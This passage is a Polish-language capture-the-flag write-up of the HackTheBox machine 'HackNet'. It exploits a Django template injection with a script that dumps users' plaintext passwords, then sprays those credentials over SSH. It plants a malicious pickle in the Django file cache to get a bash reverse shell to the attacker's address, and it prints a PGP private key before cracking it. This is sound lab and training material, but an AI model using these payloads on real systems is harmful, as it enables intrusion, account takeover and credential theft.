[PL] HackTheBox - HackNet
January 19, 2026
Rekonesans
Nmap
Nmap znajduje 2 otwarte porty:
22 (ssh)80 (http)
# Nmap 7.94SVN scan initiated Sun Jan 16 23:11:15 2026 as: nmap -p- --min-rate 10000 -oN nmap.all-ports 10.129.5.174
Warning: 10.129.5.174 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.5.174
Host is up (0.92s latency).
Not shown: 65203 closed tcp ports (reset), 330 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap 7.94SVN scan initiated Sun Jan 16 23:12:28 2026 as: nmap -sCV -p22,80 -oN nmap.initial 10.129.5.174
Nmap scan report for 10.129.5.174
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
|_ 256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Did not follow redirect to http://hacknet.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Baza podatności dla SSH w wersji 9.2p1 zawiera co prawda kilka poważnych luk, jednak dotyczą one specjalnych funkcji w OpenSSH (PKCS#11 oraz ssh-add). Nie możemy ich zatem wykorzystać, by dostać się do systemu bez uwierzytelnienia.
TCP 80 - hacknet.htb
Nmap wykrył przekierowanie do hacknet.htb. Jak zawsze w takim przypadku, dodajemy tę domenę do pliku /etc/hosts dla łatwiejszej interakcji z usługą http.
hacknet.htb to sieć społecznościowa dla hackerów, jak możemy zobserwować na stronie głównej:
Technologie
Wtyczka wappalyzer szybko znajduje technologie użyte do stworzenia aplikacji, jednak dopiero po przejściu na stronę logowania (serwer zwraca wtedy csrfmiddlewaretoken oraz ciasteczko csrftoken w odpowiedzi, co zapewne umożliwia wappalyzerowi identyfikację).
Z naszej perspektywy najistotniejsze będzie użycie frameworka Django i języka Python.
Enumeracja
Zacznijmy od rejestracji:
Po zalogowaniu mamy dostęp do kilku endpointów:
/profilez możliwością edycji profilu i tworzenia postów:
/contactsz widokiem kontaktów:
/messagesz widokiem wiadomości odebranych i wysłanych (funkcjonalość wygląda na niezaimplementowaną):
/search- z wyszukiwarką użytkownikówhacknet.htb:
/explore- z listą postów i możliwością dodawania komentarzy:
Dostęp początkowy
Patrząc na funkcje aplikacji (dodawanie postów, edycja profilu) na myśli przychodzą przynajmniej dwie podatności, które mogą wystąpić w takich sytuacjach:
- xss (
cross site scripting), - ssti (
server side template injection), która jest całkiem prawdopodobna w przypadkupythonai frameworkadjango.
Miejsc, w których moglibyśmy umieścić nasze payloady jest przynajmniej kilka:
- treść postów,
- komentarz do postów,
- nazwa użytkownika i jego opis.
XSS
Skupmy się najpierw na pierwszej możliwej podatności - XSS. Umieśćmy typowy payload <img src=1 onerror=alert(1)> we wszystkich wspomnianych wyżej miejscach:
Treść i nazwa użytkownika w postach i komentarzach wydaje się być bezpiecznie zakodowana jako encja html, co z reguły w django dzieje się automatycznie, o ile jawnie nie wyłączymy tego w kodzie (dodając |safe).
Dużo ciekawsza wydaje się funkcja polubień. Gdy polubimy jakiś post i następnie klikniemy w likes zostanie wczytany dodatkowy popup z avatarami użytkowników. Gdy przyjrzymy się kodowi html, zobaczymy, że oprócz avatarów w atrybucie title widnieje też nazwa użytkownika:
Aby nasz xss mógł się udać, potrzebujemy więc wyskoczyć z kontekstu atrybutu, dodając po prostu znaki "> w nazwie użytkownika. Jeśli niebezpieczne znaki (takie jak >,<,",' itp), nie będą zakodowane jako encja html, to mamy szanse na XSSa.
Dodajmy więc uaktualniony payload w nazwie użytkownika:
I teraz sprawdźmy polubienia:
XSS zadziałał. Pozostaje teraz odpowiedzieć na pytanie, czy przyda nam się to do eksploitacji? W realnych aplikacjach - tak, o ile inny użytkownik, np. admin w swojej własnej przeglądarce kliknąłby w polubienia. Moglibyśmy wtedy np. wykraść jego ciasteczko sesyjne (jeśli nie jest zabezpieczone flagą http-only) lub wykonać dowolną akcję w jego imieniu.
W realiach HackTheBox, aby taki atak miał sens, potrzebowalibyśmy jakiegoś bota, kótry symulowałby akcję użytkownika (czyli klikał w polubienia raz na jakiś czas). Wykorzystajmy więc payload z webhookiem w nazwie użytkownika, np. "><img src=http://10.10.14.99>. Jeśli admin wejdzie na taką stronę będziemy o tym wiedzieć. Pozostaje tylko nasłuchiwać na możliwe połączenia (maszyny na HackTheBox są domyślne odłączone od internetu, nie możemy więc użyć zewnętrznego webhooka, stąd po prostu nasz lokalny VPNowy adres ip w payloadzie wyżej):
rvr@rvr$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...Niestety, po dłuższej chwili nie otrzymaliśmy żadnej komunikacji. Wygląda więc na to, że maszyna nie posiada bota, który wykonałby naszego XSSa.
SSTI - potwierdzenie podatności
Zajmijmy się teraz SSTI. Wykorzystamy informacje umieszczone w repozytorium PayloadAllTheThings. Najpierw podstawowy payload, który powinien dowodzić istnienia podatności:
{{ 7*7 }}Treść postu, komentarz, nazwa użytkownika w poście nie wyglądają na podatne.
Ale funkcja polubień (ponownie!) zwraca obiecującą odpowiedź! Gdy klikniemy w likes w polubionym przez nas poście, dostajemy Something went wrong....
To zgadza się z informacją umieszczoną w PayloadAllTheThings:
{{ 7*7 }}# Error with Django Templates
Weźmy teraz drugi payload, który powinien wykonać się bez błędów: ih0vr{{364|add:733}}d121r. Możemy go jednak trochę uprościć wysyłając jedynie {{364|add:733}}. W odpowiedzi powinniśmy uzyskać sumę liczb 364 i 733, czyli 1097. Sprawdźmy:
Mamy potwierdzenie: nazwa użytkownika został zinterpretowana jako cześć szablonu, a następnie wykonana.
SSTI - właściwa eksploitacja
Django może korzystać z dwóch silników szblonów: Django Templates i Jinja2. W naszym przypadku, mamy do czynienia z tym pierwszym (o czym świadczy błąd wykonania payloadu {{ 7*7 }}). Silnik ten jest dużo prostszy, co jednocześnie zmniejsza dotkliwość podatności SSTI w porównaniu do Jinja2. Nie uzyskamy tu RCE, widać to chociażby w liczbie payloadów w repozytorium PayloadAllTheThings.
Jedyną możliwością jaką mamy jest odwołanie się do kontekstu w jakim działa dany szablon i np. odczytanie zmiennych, które w tym konkretnym kontekście się znajdują. Nie znamy jednak ich nazw. W takim przypadku najłatwiej zostosować podejście bruteforce (siłowe testowanie różnych nazw znajdujących się w słowniku) albo educated guess (zgadywanie prawdopodobnych nazw na bazie np. danej funkcjonalności). To drugie jest szybsze, lecz na pewno mniej skuteczne.
Pierwszą z propozycji w przypadku educated guess może być np. username czy usernames (w końcu widzimy nazwy użytkowników po kliknięciu w likes; payload może być np. taki: {{ usernames }}{{ username }}). Dla uproszczenie podglądu, to samo żądanie, ale w burpie:
Pole title jest puste, a więc nic z tego. To może {{ users }}? Tu już lepiej, w odpowiedzi widzimy QuerySet:
Dokumentacja django zawiera dokładny opis QuerySet API. A tam widzimy kilka przydatnych metod, m.in. values_list i values.
Dodanie ich do payloadu SSTI z users, tj. {{ users.values_list }} zwraca wszystkie wartości obiektu SocialUser (w tym pole hasło w wersji jawnej!):
Powinniśmy teraz zalajkować dowolny post, gdzie już są polubienia innych użytkowników. Jednak jeszcze lepszym pomysłem będzie polubić je wszystkie, by zebrać jak największą liczbę danych.
W tym celu możemy wykorzystać prosty skrypt, który zalajkuje nam każdy post i wyekstraktuje dane wszystkich użytkowników dzięki ssti (oczywiście, w skrypcie zakładamy, że nazwa użytkownika została wcześniej zmieniona na {{ users.values_list }}):
import requests
MAX_POST_ID = 30
URL = 'http://hacknet.htb'
COOKIES = {
"csrftoken":"7vGRDsA9HgLmbJiex0cuZRx9X1hySRXY",
"sessionid":"rr4l1965oqwjzvj20n7ii3bbkgeavi0m"
}
email_passwords = []
def like_post(idx):
requests.get(f"{URL}/like/{idx}", cookies=COOKIES)
def get_likes(idx):
return requests.get(f"{URL}/likes/{idx}", cookies=COOKIES)
def like_and_get_users(idx):
resp = get_likes(idx)
if resp.status_code == 200:
if 'QuerySet' not in resp.text:
like_post(idx)
resp = get_likes(idx)
users_str = resp.text.split('QuerySet [')[1].split(']')[0]
for user_str in users_str.replace(''',"'").split('), ('):
user = user_str.split(', ')
email_passwords.append(f"{user[1][1:-1]}:{user[3][1:-1]}")
for i in range(MAX_POST_ID):
like_and_get_users(i)
print("\n".join(list(set(email_passwords))))rvr@rvr$ python3 like-and-extract-users.py > emails_with_passwords.txtPlik emails_with_passwords.txt:
[email protected]:D@rkSeek3r#
[email protected]:Sh@d0wM@ncer
[email protected]:Wh!t3H@t2024
[email protected]:St3@lthH@wk
[email protected]:V!rusV!p3r2024
[email protected]:Byt3B@nd!t123
[email protected]:P@ck3tP!rat3
[email protected]:D33pD!v3r
[email protected]:Bl@ckW0lfH@ck
[email protected]:Sh@d0wC@st!
[email protected]:Gh0stH@cker2024
[email protected]:BrUt3F0rc3#
[email protected]:N3tN1nj@2024
[email protected]:mYd4rks1dEisH3re
[email protected]:Phre@k3rH@ck
[email protected]:Sh@dowW@lk2024
[email protected]:C0d3Br3@k!
[email protected]:Expl01tW!zard
[email protected]:Tr0j@nH0rse!
[email protected]:CrYptoR@ven42
[email protected]:Gl1tchH@ckz
[email protected]:D@taD1v3r
[email protected]:Zer0D@yH@ck
[email protected]:R00tBr3@ker#
[email protected]:H3xHunt3r!
[email protected]:testCo teraz? Możemy zalogować się do aplikacji albo spróbować szcześcia w usłudze SSH. Pierwsza opcja nie dostarcza nam nowych informacji. Skupmy się zatem na tej drugiej - SSH. Najpierw przygotujmy dane:
# wyekstraktuj nazwy użytkowników z emaili
rvr@rvr$ awk -F ':' '{print $1}' emails_with_passwords.txt | awk -F '@' '{ print $1 }' > potential_users.txt
# wyekstraktuj hasła
rvr@rvr$ awk -F ':' '{print $2}' emails_with_passwords.txt > potential_passwords.txtMożemy teraz użyć narzędzia netexec do przetestowania danych uwierzytelniających:
rvr@rvr$ nxc ssh hacknet.htb -u potential_users.txt -p potential_passwords.txt --no-bruteforce --continue-on-success
SSH 10.129.5.174 22 hacknet.htb [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
...[snip]...
SSH 10.129.5.174 22 hacknet.htb [-] netninja:N3tN1nj@2024
SSH 10.129.5.174 22 hacknet.htb [+] mikey:mYd4rks1dEisH3re Linux - Shell access!
SSH 10.129.5.174 22 hacknet.htb [-] phreaker:Phre@k3rH@ck
SSH 10.129.5.174 22 hacknet.htb [-] shadowwalker:Sh@dowW@lk2024
SSH 10.129.5.174 22 hacknet.htb [-] codebreaker:C0d3Br3@k!
...[snip]...Znaleźliśmy pasujące dane (co dowodzi informacja Linux - Shell access!):
mikey:mYd4rks1dEisH3reGdyby to nie zadziałało, moglibyśmy uruchomić
netexecbez flagi--no-bruteforce- wtedy każde kombinacja login - hasło byłaby przetestowana w procesie uwierzytelnienia.
Shell jako mikey
Możemy teraz odczytać plik user.txt.
rvr@rvr$ ssh [email protected]
[email protected]'s password:
Linux hacknet 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64
mikey@hacknet:~$ ls
user.txt
mikey@hacknet:~$ cat user.txt
b8f751f0*************************Enumeracja
Podstawowa enumeracja nie odsłania nam wielu przydatnych informacji:
mikey@hacknet:~$ sudo -l
[sudo] password for mikey:
Sorry, user mikey may not run sudo on hacknet.
mikey@hacknet:~$ ls /home
mikey sandy
mikey@hacknet:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
mikey:x:1000:1000:mikey,,,:/home/mikey:/bin/bash
sandy:x:1001:1001::/home/sandy:/bin/bash
mikey@hacknet:~$ ss -lnpt
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 [::]:80 [::]:*
LISTEN 0 128 [::]:22 [::]:*
mikey@hacknet:~$ groups
mikeyWiemy natomiast o istnieniu drugiego użytkownika: sandy. Prawdopodobny jest więc horizontal privilege escalation. Okazuje się, że użytkownik ten kontroluje cały katalog z aplikacją hacknet.htb oraz folder: /var/tmp/django_cache. Mamy też backup .sql zaszyfrowany kluczem prywatnym gpg:
mikey@hacknet:~$ find / -user sandy 2> /dev/null
/var/www/HackNet
/var/www/HackNet/SocialNetwork
/var/www/HackNet/SocialNetwork/apps.py
...[snip]...
/var/www/HackNet/backups/backup03.sql.gpg
/var/www/HackNet/backups/backup02.sql.gpg
/var/www/HackNet/backups/backup01.sql.gpg
/var/www/HackNet/db.sqlite3
...[snip]...
/var/www/HackNet/HackNet/__init__.py
/var/www/HackNet/HackNet/wsgi.py
/var/www/HackNet/HackNet/urls.py
/var/www/HackNet/HackNet/settings.py
/var/www/HackNet/HackNet/asgi.py
/var/tmp/django_cache
/home/sandyStruktura aplikacji wygląda następująco:
mikey@hacknet:/var/www/HackNet/SocialNetwork$ ls -la
total 68
drwxr-xr-x 6 sandy sandy 4096 Sep 8 05:22 .
drwxr-xr-x 7 sandy sandy 4096 Feb 10 2025 ..
-rw-r--r-- 1 sandy sandy 0 May 31 2024 __init__.py
drwxr-xr-x 2 sandy sandy 4096 Sep 8 05:22 __pycache__
-rw-r--r-- 1 sandy sandy 298 May 31 2024 admin.py
-rw-r--r-- 1 sandy sandy 157 May 31 2024 apps.py
drwxr-xr-x 3 sandy sandy 4096 Aug 8 2024 migrations
-rw-r--r-- 1 sandy sandy 2368 Aug 8 2024 models.py
-rw-r--r-- 1 sandy sandy 1126 Jun 20 2024 news_generator.py
drwxr-xr-x 2 sandy sandy 4096 May 31 2024 static
drwxr-xr-x 3 sandy sandy 4096 May 31 2024 templates
-rw-r--r-- 1 sandy sandy 1502 May 31 2024 urls.py
-rw-r--r-- 1 sandy sandy 22547 Sep 8 05:22 views.py
mikey@hacknet:/var/www/HackNet/SocialNetwork$ cd ../HackNet/
mikey@hacknet:/var/www/HackNet/HackNet$ ls -la
total 28
drwxr-xr-x 3 sandy sandy 4096 Sep 8 05:20 .
drwxr-xr-x 7 sandy sandy 4096 Feb 10 2025 ..
-rw-r--r-- 1 sandy sandy 0 May 31 2024 __init__.py
drwxr-xr-x 2 sandy sandy 4096 Sep 8 05:22 __pycache__
-rw-r--r-- 1 sandy sandy 168 May 31 2024 asgi.py
-rw-r--r-- 1 sandy sandy 2697 Feb 10 2025 settings.py
-rw-r--r-- 1 sandy sandy 313 Sep 8 05:20 urls.py
-rw-r--r-- 1 sandy sandy 168 May 31 2024 wsgi.pyW pliku /var/www/HackNet/HackNet/settings.py widzimy dane uwierzytelniające do mysql:
WSGI_APPLICATION = 'HackNet.wsgi.application'
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'hacknet',
'USER': 'sandy',
'PASSWORD': 'h@ckn3tDBpa$$',
'HOST':'localhost',
'PORT':'3306',
}
}Oraz konifgurację cache, co wyjaśnia nam istnienie folderu /var/tmp/django_cache:
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
'LOCATION': '/var/tmp/django_cache',
'TIMEOUT': 60,
'OPTIONS': {'MAX_ENTRIES': 1000},
}
}Mysql
W bazie danych nie widzimy nic szczególnego:
mikey@hacknet:/var/www/HackNet/HackNet$ mysql -u sandy -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 1360
Server version: 10.11.11-MariaDB-0+deb12u1 Debian 12
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| hacknet |
| information_schema |
| mysql |
+--------------------+
3 rows in set (0.002 sec)
MariaDB [(none)]> use hacknet;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [hacknet]> show tables;
+-----------------------------------+
| Tables_in_hacknet |
+-----------------------------------+
| SocialNetwork_contactrequest |
| SocialNetwork_socialarticle |
| SocialNetwork_socialarticle_likes |
| SocialNetwork_socialcomment |
| SocialNetwork_socialmessage |
| SocialNetwork_socialuser |
| SocialNetwork_socialuser_contacts |
| auth_group |
| auth_group_permissions |
| auth_permission |
| auth_user |
| auth_user_groups |
| auth_user_user_permissions |
| django_admin_log |
| django_content_type |
| django_migrations |
| django_session |
+-----------------------------------+
17 rows in set (0.000 sec)W tabelach SocialNetwork_* dane wyglądają na losowe, w SocialNetwork_socialuser mamy wszystko to, co i tak poznaliśmy już dzięki SSTI.
W tabeli auth_user znajdujemy hash PBKDF2 SHA256:
MariaDB [hacknet]> select * from auth_user \G
*************************** 1. row ***************************
id: 1
password: pbkdf2_sha256$720000$I0qcPWSgRbUeGFElugzW45$r9ymp7zwsKCKxckgnl800wTQykGK3SgdRkOxEmLiTQQ=
last_login: 2025-02-05 17:01:02.503833
is_superuser: 1
username: admin
first_name:
last_name:
email:
is_staff: 1
is_active: 1
date_joined: 2024-08-08 18:17:54.472758
1 row in set (0.000 sec)Niestety nie jest on łatwo łamalny (tj. wymagałoby to bardzo dużo czasu), co wynika z samej implementacji PBKDF2. Możemy więc pominąć ten krok.
W tabelach django_* również nie ma nic specjalnego, a tabela django_session zawiera tylko naszą sesję z aplikacji hacknet.
Kod hacknet.htb
Przyjrzyjmy się teraz aplikacji, którą do tej pory testowaliśmy jedynie w podejściu blackbox.
Polubienia - kod podatny na SSTI
W pliku /var/www/HackNet/SocialNetwork/views.py w funkcji likes, widzimy, dlaczego klinięcie w polubienia (albo GET /likes/<ID>) prowadziło do podatności SSTI:
def likes(request, pk):
if not "email" in request.session.keys():
return redirect("index")
session_user = get_object_or_404(SocialUser, email=request.session['email'])
post = get_object_or_404(SocialArticle,pk=pk)
users = post.likes.all()
engine = engines["django"]
template_string = ""
context = {"users": users}
for user in users:
if not user.is_hidden or user == session_user:
template_string += "<div class=\"likes-review-item\"><a href=\"/profile/"+str(user.pk)+"\"><img src=\""+user.picture.url+"\" title=\""+user.username+"\"></a></div>"
try:
template = engine.from_string(template_string)
except:
template = engine.from_string("<div class=\"likes-review-item\"><a>Something went wrong...</a></div>")
return HttpResponse(template.render(context, request))template_string tworzony był dynamicznie poprzez zwykłą konkatenację strignów, a następnie przekazywany po prostu do engine.from_string(template_string), co nigdy nie jest dobrym pomysłem.
Cache - niezaufana deserializacja
Kolejnym miejscem aplikacji o bardzo interesującym kodzie jest funkcja explore wykorzystująca dekorator @cache_page:
@cache_page(60)
def explore(request):
if not "email" in request.session.keys():
return redirect("index")
session_user = get_object_or_404(SocialUser, email=request.session['email'])
page_size = 10
keyword = ""
if "keyword" in request.GET.keys():
keyword = request.GET['keyword']
posts = SocialArticle.objects.filter(text__contains=keyword).order_by("-date")
else:
posts = SocialArticle.objects.all().order_by("-date")
pages = ceil(len(posts) / page_size)
if "page" in request.GET.keys() and int(request.GET['page']) > 0:
post_start = int(request.GET['page'])*page_size-page_size
post_end = post_start + page_size
posts_slice = posts[post_start:post_end]
else:
posts_slice = posts[:page_size]
news = get_news()
request.session['requests'] = session_user.contact_requests
request.session['messages'] = session_user.unread_messages
for post_item in posts:
if session_user in post_item.likes.all():
post_item.is_like = True
posts_filtered = []
for post in posts_slice:
if not post.author.is_hidden or post.author == session_user:
posts_filtered.append(post)
for like in post.likes.all():
if like.is_hidden and like != session_user:
post.likes_number -= 1
context = {"pages": pages, "posts": posts_filtered, "keyword": keyword, "news": news, "session_user": session_user}
return render(request, "SocialNetwork/explore.html", context)To dlatego potrzebna była konfiguracja cache zapisana w settings.py. Dla przypomnienia:
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
'LOCATION': '/var/tmp/django_cache',
'TIMEOUT': 60,
'OPTIONS': {'MAX_ENTRIES': 1000},
}
}Zadanie dekoratora jest następujące: po odwiedzeniu strony /explore jej odpowiedź będzie zapisana w cache przez 60 sekund, dzięki czemu następne odwiedzenie strony powinno skutkować szybszą odpowiedzią.
Ta sama strona dokumentacji informuje również o bardzo istotnej sprawie:
An attacker who gains access to the cache file can not only falsify HTML content, which your site will trust, but also remotely execute arbitrary code, as the data is serialized using pickle.
Atatkujący, który uzyska dostęp do pliku z cachem, może nie tylko sfałszować zawartość HTML, ale również doprowadzić do zdalnego wykonania kodu, jako że dane są serializowane przy pomocy
pickle.
Pickle to pythonowy moduł odpowiedzialny za zapis obiektów do ciągu bajtów, tak aby można je było np. w łatwy sposób przesyłać przez sieć, a następnie zdeserializować (ponownie zmienić na obiekt pythona).
Dokumentacja Pickle już w pierwszym akapicie informuje o możliwym RCE podczas deserializacji niezaufanych danych:
The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.
Zgodnie z dokumentacją i konfiguracją strony, zserializowana odpowiedź na żądanie /explore zapisana będzie w /var/tmp/django_cache przez 60 sekund, a następnie usuwana. Sprawdźmy czy pliki pojawią się w tym folderze. Najpierw jest pusto:
mikey@hacknet:/var/www/HackNet/SocialNetwork$ ls -la /var/tmp/django_cache/
total 8
drwxrwxrwx 2 sandy www-data 4096 Feb 10 2025 .
drwxrwxrwt 4 root root 4096 Jan 19 07:34 ..Odwiedzamy /explore i w /var/tmp/django_cache pojawiają się pliki:
mikey@hacknet:/var/www/HackNet/SocialNetwork$ ls -la /var/tmp/django_cache/
total 16
drwxrwxrwx 2 sandy www-data 4096 Jan 19 08:15 .
drwxrwxrwt 4 root root 4096 Jan 19 07:34 ..
-rw------- 1 sandy www-data 34 Jan 19 08:15 1f0acfe7480a469402f1852f8313db86.djcache
-rw------- 1 sandy www-data 2778 Jan 19 08:15 90dbab8f3b1e54369abdeb4ba1efc106.djcacheNiestety ich uprawnienia -rw------- wskazują, że tylko użytkownik sandy może je czytać i modyfikować. Na szczęście cały katalog zawiera już więcej uprawnień:
drwxrwxrwx 2 sandy www-data 4096 Jan 19 08:15 .Możemy tworzyć nowe pliki, usuwać je czy nawet zmieniać nazwy już istniejących:
mikey@hacknet:/var/tmp/django_cache$ ls
1f0acfe7480a469402f1852f8313db86.djcache 90dbab8f3b1e54369abdeb4ba1efc106.djcache
mikey@hacknet:/var/tmp/django_cache$ touch test
mikey@hacknet:/var/tmp/django_cache$ mv 1f0acfe7480a469402f1852f8313db86.djcache newname.djcache
mikey@hacknet:/var/tmp/django_cache$ ls
90dbab8f3b1e54369abdeb4ba1efc106.djcache newname.djcache testNic więc nie stoi na przeszkodzie, abyśmy stworzyli złośliwy plik pickle i nazwali go tak, jak jeden z plików cache tworzonych przez django, tj: 1f0acfe7480a469402f1852f8313db86.djcache czy 90dbab8f3b1e54369abdeb4ba1efc106.djcache.
Ponownie wykorzystamy lekko zmodyfikowany payload z PayloadAllTheThings, by stworzyć złośliwy obiekt pickle dający nam reverse shell:
import pickle, os
class Evil(object):
def __reduce__(self):
return (os.system,("bash -c 'bash -i >& /dev/tcp/10.10.14.99/9999 0>&1'",))
e = Evil()
evil_pickle = pickle.dumps(e)
with open('malicious-pickle.out', 'wb') as f:
f.write(evil_pickle)mikey@hacknet:/tmp/evil-pickle$ ls
gen-evil-pickle.py
mikey@hacknet:/tmp/evil-pickle$ python3 gen-evil-pickle.py
mikey@hacknet:/tmp/evil-pickle$ ls
gen-evil-pickle.py malicious-pickle.outTeraz ustawiamy nasłuchowanie na port 9999 na naszym hoście:
rvr@rvr$ nc -lvnp 9999
listening on [any] 9999 ...Przechodzimy do /explore i podmieniamy django cache na nasz złośliwy plik /tmp/evil-pickle/malicious-pickle.out:
mikey@hacknet:/var/tmp/django_cache$ mv 1f0acfe7480a469402f1852f8313db86.djcache 1f0acfe7480a469402f1852f8313db86.djcache.old
mikey@hacknet:/var/tmp/django_cache$ cp /tmp/evil-pickle/malicious-pickle.out 1f0acfe7480a469402f1852f8313db86.djcacheNastępnie ponownie odwiedzamy /explore.
Na naszym pierwszym terminalu powinniśmy zobaczyć połączenie:
rvr@rvr$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.99] from (UNKNOWN) [10.129.5.174] 51502
bash: cannot set terminal process group (6085): Inappropriate ioctl for device
bash: no job control in this shell
sandy@hacknet:/var/www/HackNet$ id
id
uid=1001(sandy) gid=33(www-data) groups=33(www-data)Shell jako sandy
Mamy dostęp do użytkownika sandy. W jego katalogu domowym nie ma zbyt wiele:
sandy@hacknet:~$ ls -la
total 36
drwx------ 6 sandy sandy 4096 Sep 11 11:18 .
drwxr-xr-x 4 root root 4096 Jul 3 2024 ..
lrwxrwxrwx 1 root root 9 Sep 4 19:01 .bash_history -> /dev/null
-rw-r--r-- 1 sandy sandy 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 sandy sandy 3526 Apr 23 2023 .bashrc
drwxr-xr-x 3 sandy sandy 4096 Jul 3 2024 .cache
drwx------ 3 sandy sandy 4096 Dec 21 2024 .config
drwx------ 4 sandy sandy 4096 Sep 5 11:33 .gnupg
drwxr-xr-x 5 sandy sandy 4096 Jul 3 2024 .local
lrwxrwxrwx 1 root root 9 Aug 8 2024 .mysql_history -> /dev/null
-rw-r--r-- 1 sandy sandy 808 Jul 11 2024 .profile
lrwxrwxrwx 1 root root 9 Jul 3 2024 .python_history -> /dev/nullJest jednak folder .gnupg! Jeśli dobrze pamiętamy to w /var/www/HackNet/backups mamy kilka plików zaszyfrowanych kluczem prywatnym pgp (dla wygody możemy je pobrać na własną maszynę, by ułatwić sobie analizę):
rvr@rvr$ file backup*
backup01.sql.gpg: PGP RSA encrypted session key - keyid: FC53AFB0 D6355F16 RSA (Encrypt or Sign) 1024b .
backup02.sql.gpg: PGP RSA encrypted session key - keyid: FC53AFB0 D6355F16 RSA (Encrypt or Sign) 1024b .
backup03.sql.gpg: PGP RSA encrypted session key - keyid: FC53AFB0 D6355F16 RSA (Encrypt or Sign) 1024b .Możemy podejrzeć też klucze użytkownika sandy:
sandy@hacknet:/var/www/HackNet/backups$ gpg --list-keys
/home/sandy/.gnupg/pubring.kbx
------------------------------
pub rsa1024 2024-12-29 [SC]
21395E17872E64F474BF80F1D72E5C1FA19C12F7
uid [ultimate] Sandy (My key for backups) <[email protected]>
sub rsa1024 2024-12-29 [E]Oraz wszystkie pliki w ~/.gnupg:
sandy@hacknet:~/.gnupg$ find .
.
./private-keys-v1.d
./private-keys-v1.d/armored_key.asc
./private-keys-v1.d/EF995B85C8B33B9FC53695B9A3B597B325562F4F.key
./private-keys-v1.d/0646B1CF582AC499934D8503DCF066A6DCE4DFA9.key
./pubring.kbx~
./trustdb.gpg
./openpgp-revocs.d
./openpgp-revocs.d/21395E17872E64F474BF80F1D72E5C1FA19C12F7.rev
./random_seed
./pubring.kbxGdy spróbujemy odszyfrować te pliki, otrzymamy prośbę o passphrase:
sandy@hacknet:~/.gnupg$ gpg --decrypt /var/www/HackNet/backups/backup01.sql.gpg
Plik ./private-keys-v1.d/armored_key.asc to wykesportowany do postaci ASCII klucz prywatny.
sandy@hacknet:~/.gnupg$ cat private-keys-v1.d/armored_key.asc
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQIGBGdxrxABBACuOrGzU2PoINX/6XsSWP9OZuFU67Bf6qhsjmQ5CcZ340oNlZfl
LsXqEywJtXhjWzAd5Juo0LJT7fBWpU9ECG+MNU7y2Lm0JjALHkIwq4wkGHJcb5AO
949lXlA6aC/+CuBm/vuLHtYrISON7LyUPAycmf8wKnE7nX9g4WY000k8ywARAQAB
/gcDAoUP+2418AWL/9s1vSnZ9ABrtqXgH1gmjZbbfm0WWh2G9DJ2pKYamGVVijtn
29HGsMJblg0pPNSQ0PVCJ3iPk2N6kwoYWrhrxtS/0yT9tPkItBaW9x2wGzkwzfvI
VKga32QvV5f5Td9+ZwUt7UKO5t5p/Uw48Mbbn8zGcwR5tIr95ngCfQYo8LkEZpkD
...[snip]...
DZNUnvaugNdG2nNkX1b4U+fNJMR07GCAJIGVrQojqnSVCKYjI4Et7VtRIlOI7Bmr
UWLDskLCqTD33o4VOV3IITVkQc9KktjhI74C7kZrOr7v07yuegmtzLi+
=wR12
-----END PGP PRIVATE KEY BLOCK-----Aby dostać passphrase musimy go złamać wykorzystując narzędzia do tego przeznaczone, tj. hashcat lub john. Ale najpierw potrzebujemy mieć taki format klucza, który jest “łamalny” przez te narzędzia. Do tego celu służą specjalne skrypty/programy transformujące, w naszym przypadku: gpg2john:
rvr@rvr$ gpg2john armored_key.asc
File armored_key.asc
